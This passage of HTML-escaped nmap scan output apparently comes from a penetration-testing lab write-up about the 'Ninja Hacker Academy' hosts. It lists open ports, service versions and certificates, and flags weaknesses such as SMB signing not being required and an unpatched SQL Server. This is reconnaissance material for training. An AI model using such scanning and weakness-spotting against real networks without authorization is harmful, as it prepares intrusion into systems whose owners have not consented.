style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e4096\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-08-31T10:53:13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2028-08-30T10:53:13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   b8ec:0505:79e5:9847:59ae:efff:47c2:36d1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 8209:f610:07b1:979d:615f:5529:1b79:9b52:be21:5cf8\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| tls-alpn: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  http/1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e9389/tcp  open  mc-nmf        .NET Message Framing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49667/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49668/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49669/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49670/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49671/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49672/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49680/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49696/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eService Info: Host: DC-AC; OS: Windows; CPE: cpe:/o:microsoft:windows\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost script results:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-security-mode: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   3:1:1: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    Message signing enabled and required\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| nbstat: NetBIOS name: DC-AC, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: 08:00:27:7d:fa:ab \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ePCS Systemtechnik/Oracle VirtualBox virtual NIC\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Names:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   DC-AC\u0026lt;00\u0026gt;            Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   ACADEMY\u0026lt;00\u0026gt;          Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   ACADEMY\u0026lt;1c\u0026gt;          Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   DC-AC\u0026lt;20\u0026gt;            Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  ACADEMY\u0026lt;1b\u0026gt;          Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-time: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   date: 2025-09-06T17:11:21\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  start_date: N/A\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNmap scan report \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e 192.168.56.21\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost is up \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0.0037s latency\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNot shown: \u003cspan style=\"color:#ae81ff\"\u003e65529\u003c/span\u003e filtered tcp ports \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eno-response\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSome closed ports may be reported as filtered due to --defeat-rst-ratelimit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePORT     STATE SERVICE       VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e80/tcp   open  http          Microsoft IIS httpd 10.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Home Page - NHA - Ninja Hacker Academy\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| http-methods: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   Supported Methods: OPTIONS TRACE GET HEAD POST\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  Potentially risky methods: TRACE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-favicon: Unknown favicon MD5: 4859E39AE6C0F1F428F2126A6BB32BD9\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-IIS/10.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e135/tcp  open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e445/tcp  open  microsoft-ds?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3389/tcp open  ms-wbt-server Microsoft Terminal Services\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eweb.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eweb.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-01T13:03:46\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2026-03-03T13:03:46\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   b886:6da8:9d70:ff44:af9c:0f2f:f1d1:28f2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 6552:4c8a:9e73:40a0:b928:290f:5560:9d7f:d998:8919\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; +1s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e4096\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-08-31T11:08:22\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2028-08-30T11:08:22\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   f674:b4b9:ec3c:aeae:ec4c:031a:6a77:5ac7\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 5d7e:83bf:fdfe:365d:31b0:0da7:d554:4c0f:e318:82b6\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| tls-alpn: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  http/1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eService Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost script results:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-security-mode: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   3:1:1: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    Message signing enabled but not required\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-time: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   date: 2025-09-06T17:11:26\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  start_date: N/A\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNmap scan report \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e 192.168.56.22\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost is up \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0.011s latency\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNot shown: \u003cspan style=\"color:#ae81ff\"\u003e65334\u003c/span\u003e closed tcp ports \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ereset\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e183\u003c/span\u003e filtered tcp ports \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eno-response\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSome closed ports may be reported as filtered due to --defeat-rst-ratelimit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePORT      STATE SERVICE       VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e135/tcp   open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e445/tcp   open  microsoft-ds?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e1433/tcp  open  ms-sql-s      Microsoft SQL Server \u003cspan style=\"color:#ae81ff\"\u003e2019\u003c/span\u003e 15.00.2000.00; RTM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ms-sql-ntlm-info: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   192.168.56.22:1433: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     Target_Name: ACADEMY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     NetBIOS_Domain_Name: ACADEMY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     NetBIOS_Computer_Name: SQL\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     DNS_Domain_Name: academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     DNS_Computer_Name: sql.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     DNS_Tree_Name: academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    Product_Version: 10.0.17763\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eSSL_Self_Signed_Fallback\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eSSL_Self_Signed_Fallback\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-06T16:47:04\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2055-09-06T16:47:04\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   9f06:0296:450f:8427:f3a4:67bb:b200:07c4\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 5093:43cb:c2fa:a3df:4f6e:a5e5:c08b:e336:9e2b:3877\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ms-sql-info: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   192.168.56.22:1433: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     Version: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       name: Microsoft SQL Server \u003cspan style=\"color:#ae81ff\"\u003e2019\u003c/span\u003e RTM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       number: 15.00.2000.00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       Product: Microsoft SQL Server \u003cspan style=\"color:#ae81ff\"\u003e2019\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       Service pack level: RTM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|       Post-SP patches applied: false\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    TCP port: \u003cspan style=\"color:#ae81ff\"\u003e1433\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3389/tcp  open  ms-wbt-server Microsoft Terminal Services\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003esql.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003esql.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-01T13:09:00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2026-03-03T13:09:00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   cc00:a47b:79ef:3cf2:d604:307b:7770:e64c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 3f38:0daa:a896:74a6:dcd7:61f3:a1e5:a228:9f79:e1da\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| tls-alpn: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  http/1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e4096\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-08-31T11:27:52\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2028-08-30T11:27:52\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   d8b4:8b63:171e:2808:50c0:8439:cbd5:7516\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 7c7e:2eb0:22ee:7445:1143:93b2:1df5:a60c:7eb4:6098\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49664/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49665/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49666/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49667/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49670/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49687/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49688/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49703/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49705/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49771/tcp open  ms-sql-s      Microsoft SQL Server \u003cspan style=\"color:#ae81ff\"\u003e2019\u003c/span\u003e 15.00.2000.00; RTM\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ms-sql-ntlm-info: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   192.168.56.22:49771: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     Target_Name: ACADEMY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     NetBIOS_Domain_Name: ACADEMY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     NetBIOS_Computer_Name: SQL\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|     DNS_Domain_Name: academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan 